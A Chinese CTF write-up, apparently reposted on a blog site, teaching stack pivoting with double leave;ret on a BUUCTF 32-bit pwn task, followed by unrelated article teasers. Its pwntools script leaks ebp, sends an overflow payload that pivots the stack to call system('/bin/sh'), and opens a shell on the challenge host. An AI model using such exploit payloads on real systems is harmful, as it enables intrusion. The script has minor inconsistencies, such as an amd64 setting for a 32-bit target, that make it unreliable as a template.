PWN-栈迁移

栈迁移

题目:BUUCTF在线评测 (buuoj.cn)

知识点:栈迁移

  1. 使用情况:题目中有栈溢出,但是 栈溢出的范围 有限,导致构造的ROP链不能完全写入到栈中,此时需要进行栈迁移,将栈迁移到能接受更多数据的位置(改变相继sp、bp寄存器的值),位函数调用、传参构造一个新的栈空间。

  2. 函数调用时,无论传参、存bp值还是存返回值都是用栈完成(以32位为例),在普通的栈溢出情况下构造ROP也无非是重新为函数的调用构造了一个 新栈 ,而 栈的位置由sp寄存器 的值确定。

  3. 要改变sp、bp寄存器,拿必定不能使用程序原先在栈上保存的bp寄存器值,所以要将其 覆盖掉 ,如何改变sp和bp即为栈迁移的关键。

  4. 改变sp、bp的关键在于函数退出时的 leave;ret -> mov sp,bp;popbp 指令,这组指令通常是被用来恢复函数的调用的栈帧,时程序返回后仍能正常运行,其与函数开头的 push;mov指令(用来生成栈帧)相反,先看这篇了解栈帧的相关知识 PWN入门–栈溢出_pwn栈溢出-CSDN博客:

    image-20240601192020502

    image-20240601192244862

  5. 改变sp、bp需要用到 两层leave;ret 指令,将我们用来覆盖的值传递给sp寄存器,因为一层leave;ret 指令只能将bp寄存器的值改变,无法改变sp寄存器(原因:利用栈溢出无法在 mov sp,bp 指令前直接修改bp寄存器),但是第二层leave;ret 可以借助第一次修改的bp寄存器值来更新sp寄存器。因此,可以用 覆盖值 (覆盖掉bp寄存器指向的栈空间上的值)来更新sp寄存器。

    • 以该例题为例子进行调试:

    • 进入vul函数时,栈上的状态:

      image-20240601211007396

      image-20240601211509331

    • 可见bp寄存器中存储着地址 0xffffcfd8(调用者的sp寄存器值),bp所指向的栈空间上的值为 0xffffcfe8 (调用者的sp寄存器值,指向栈低)。

    • 此时输入0x30个字符来覆盖bp和其下面的返回值:

      image-20240601211355099

    • 可见bp寄存器指向的栈空间已经被覆盖(数据随便输入,仅实验用),后面的函数返回地址也被修改,此时执行最后的 leave;ret 指令,观寄存器的变化,可见bp寄存器的值已经被我们用来覆盖的值替换了,但是sp寄存器的值任然正常(因为push bp和ret,导致sp寄存器在原bp寄存器的基础上+8):

      image-20240601211836403

    • 此时如果将返回值替换为一组 leave;ret地址,修改ip值,再执行一次leave,那么sp寄存器将变化为 bp寄存器中的值+4 ,于是完成栈迁移过程,所以 新的返回值 就在 (bp)+4地址处,执行ret指令即可改变ip为该返回值,调用该处函数:

    • 第一次 leave;ret

      image-20240601212358780

    • 第二次 leave;ret

      image-20240601212410397

题解:

  1. vul函数中read函数值给了0x30个输入空间,只能覆盖到函数的返回值处(前面调试过),虽然存在后门函数hack,但是其参数不是 /bin/sh,在构造ROP时需要修改参数,者导致ROP链的长度超过了read的读取范围,一次考虑栈迁移:

    image-20240601213220865

    image-20240601213234098

  2. 栈迁移的位置因考虑在read的读取范围之内,首先应该考虑栈迁移的目标位置target,直接选择输入s的首地址即可,在 bp-0x38 处,所以首先需要 泄漏数bp处栈上 的值:

    image-20240601215613932

  3. printf函数将s以字符串的形式输出,遇到空白符才终止,所以只要将分配给s的空间全部填满即可泄漏bp处的地址,gbd调试如下:

    image-20240601220413055

    image-20240601220503921

  4. 迁移完成后,ret的返回值就在bp-0x38+4处,调用后函数的返回值就在bp-0x38+4+4(随便填),传递的 参数的地址 (参数“/bin/sh”需要手动写入,地址需要手动计算相对于bp的偏移bp-0x38+4+4+4+4)就放在bp-0x38+4+4+4,“/bin/sh”放在地址 bp-0x38+4+4+4+4 处。

  5. EXP如下:

    from pwn import *
    # from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    
    p=remote('node5.buuoj.cn',28101)
    flag = []
    sys_addr = 0x08048400
    leave_ret = 0x08048562
    p.recvuntil("Welcome, my friend. What's your name?\n")
    
    #先泄漏出ebp地址,printf以字符串形式输出s,直到遇到空白符停止,所以可以泄漏ebp的值
    payload1= 0x20*b"a"+b"b"*0x8
    p.send(payload1)
    p.recvuntil("b"*0x8)
    ebp_addr=u32(p.recv(4))
    log.success('ebp==>'+hex(ebp_addr))
    
    #进行栈迁移
    payload2 = (b"aaaa"+p32(sys_addr)+p32(0)+p32(ebp_addr-0x28)+b'/bin/sh').ljust(0x28,b'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
    p.send(payload2)
    p.recvuntil(b'Hello, aaaa\n')
    p.sendline(b'cat flag')
    
    flag.append(p.recv().decode()[0:len(flag)-1])
    p.interactive()
    
    print(flag)
    

    image-20240601221641973

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/669494.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

GD32F系列MCU片上Flash中Code区和Data区使用解密

GD32F系列MCU产品片上Flash分Code区和Data区,以GD32F303系列为例,从GD32F303xx Datasheet中可以获取code区和data区大小,那Code区和Data区在代码执行上有什么差别呢? Code区代码运行0等待,一般用于存放实时性要求高的代…

STM32(八):独立看门狗 (标准库函数)

前言 上一篇文章介绍了STM32单片机中的USART串口通信,这篇文章我们来介绍一下如何用STM32单片机中的独立看门狗来实现检测按键点灯的程序。 一、实验原理 单片机系统会由于受到外界的干扰,而造成程序执行紊乱,系统无法正常运行。为了防止这…

混合模型方差分析

文章目录 一、说明二、受试者“间”因素和受试者“内”因素的意思?三、混合模型方差分析回答 3 件事四、混合模型方差分析的假设 一、说明 在本文中,我将讨论一种称为混合模型方差分析的方差分析变体,也称为具有重复测量的 2 因素方差分析。…

python替换占位符为变量,实现读取配置文件

文章目录 背景1、定义正则表达式2、替换变量占位符3、实现功能 背景 使用python编写小工具,有一个配置文件,希望实现类似shell命令的,定义变量并且使用${}或者$来引用。如果有好的建议欢迎讨论。 配置文件示例内容如下: D:\project\test\pr…

word里面没有Acrobat选项

加载项被禁止,选择项里面,没有Acrobat选项 文件-》选项 加载项-》com加载项-》转到 添加Acrobat 出现Acrobat选项

阿里云部署nodejs

目录 1、安装node.js 1-1 进入opt/software 1-2 下载node.js安装包 1-3 解压 2 配置环境变量 2-1 vim中配置环境变量 2-2 命令行中保存环境变量 2-3 检查安装版本 2-3 更换镜像 3、上传node.js项目 1-1 启动项目 1-2 配置对应的安全组 ​编辑 4、pm2启动多个node项…

《PNAS》和《Nature Communications》仿章鱼和蜗牛的粘液真空吸附,赋予了机器人吸盘新的“超能力”

想象一下,如果机器人能够像章鱼一样牢牢吸附在粗糙崎岖的岩石上,或者像蜗牛那样在墙面上悠然负重爬行,那会是多么神奇的一幕!近日,布里斯托大学机器人实验室的Jonathan Rossiter教授课题组就为我们带来了这样的“超能力…

Java_Mybatis

Mybatis是一款优秀的持久层框架,用户简化JDBC(使用Java语言操作关系型数据库的一套API)开发 使用Mybatis查询所有用户数据: 代码演示: UserMapper: Mapper //被调用时会通过动态代理自动创建实体类,并放入IOC容器中…

一文了解JVM面试篇(上)

Java内存区域 1、如何解释 Java 堆空间及 GC? 当通过 Java 命令启动 Java 进程的时候,会为它分配内存。内存的一部分用于创建 堆空间,当程序中创建对象的时候,就从对空间中分配内存。GC 是 JVM 内部的一 个进程,回收无效对象的内存用于将来的分配。 2、JVM 的主要组成…

JVM学习-详解类加载器(一)

类加载器 类加载器是JVM执行类加载机制的前提 ClassLoader的作用 ClassLoader是Java的核心组件,所有的Class都是由ClassLoader进行加载的,ClassLoader负责通过各种方式将Class信息的二进制数据流读入JVM内部,转换为一个与目标类型对应的ja…

什么是TLAB?

这个得从内存申请说起。 一般而言生成对象需要向堆中的新生代申请内存空间,而堆又是全局共享的,像新生代内存又是规整的,是通过一个指针来划分的。 内存是紧凑的,新对象创建指针就右移对象大小size即可,这叫指针加法…

Linux 的权限

目录 Linux 的用户 root 用户 和 普通用户 如何新建普通用户? 如何切换用户? 一开始是以 root 用户登录: 一开始以普通用户登录: 如何删除用户? Linux文件权限 什么是读权限( r )&#…

数据结构学习笔记

1. 数组 (Array) 定义 数组是一种线性数据结构,用于存储固定大小的相同类型元素集合。每个元素都有一个索引,用于快速访问。 特点 优点:访问速度快,通过索引直接访问O(1)时间复杂度。缺点:大小固定,插入…

Unity 自定义房间布局系统 设计与实现一个灵活的房间放置系统 ——自定义房间区域功能

自定义房间区域功能 效果: 功能: 能够自定义房间的大小一键生成放置区域可控的放置网格点当物体放置到区域内可自动吸附物体是否可放置,放置时如果与其他物体交叉则不可放置(纯算法计算)管理房间内的物体&#xff0c…

MySQL(二)-基础操作

一、约束 有时候,数据库中数据是有约束的,比如 性别列,你不能填一些奇奇怪怪的数据~ 如果靠人为的来对数据进行检索约束的话,肯定是不行的,人肯定会犯错~因此就需要让计算机对插入的数据进行约束要求! 约…

下载HF AutoTrain 模型的配置文件

下载HF AutoTrain 模型的配置文件 一.在huggingface上创建AutoTrain项目二.通过HF用户名和autotrain项目名,拼接以下url,下载模型列表(json格式)到指定目录三.解析上面的json文件、去重、批量下载模型配置文件(权重以外的文件) 一.在huggingface上创建AutoTrain项目 二.通过HF用…

电脑没电关机,wsl和docker又挂了,附解决过程

如题,开了个会没带笔记本电源,点啊弄关机后docker打不开,我以为是docker坏了,结果docker报错: An unexpected error occurred while executing a WSL command. Either shut down WSL down with wsl --shutdown, and/or…

植被变化趋势线性回归以及可视化

目录 植被变化线性回归ee.Reducer.linearFit().reduce()案例:天水市2004-2023年EVI线性回归趋势在该图中,使用了从红色到蓝色的渐变来表示负趋势到正趋势。红色代表在某段时间中,植被覆盖减少,绿色表示持平,蓝色表示植被覆盖增加。 植被变化线性回归 该部分参考Google…

Java(十一)---String类型

文章目录 前言1.String类的重要性2.常用方法2.1.字符串的创建2.2.字符串的比较2.2.1.比较是否引用同一个对象2.2.2.boolean equals(Object anObject) 方法:2.2.3.int CompareTo(String s)2.2.4.int compareToIgnoreCase(String str) 方法: 2.3.字符串的查…

单调栈原理+练习

首先用一道题引出单调栈 码蹄集 (matiji.net) 首先画一个图演示山的情况: 最暴力的做法自然是O(n方)的双循环遍历,这么做的思想是求出当前山右侧有多少座比它小的山,遇见第一个高度大于等于它的就停止。 但是对于我们所求的答案数&#xff…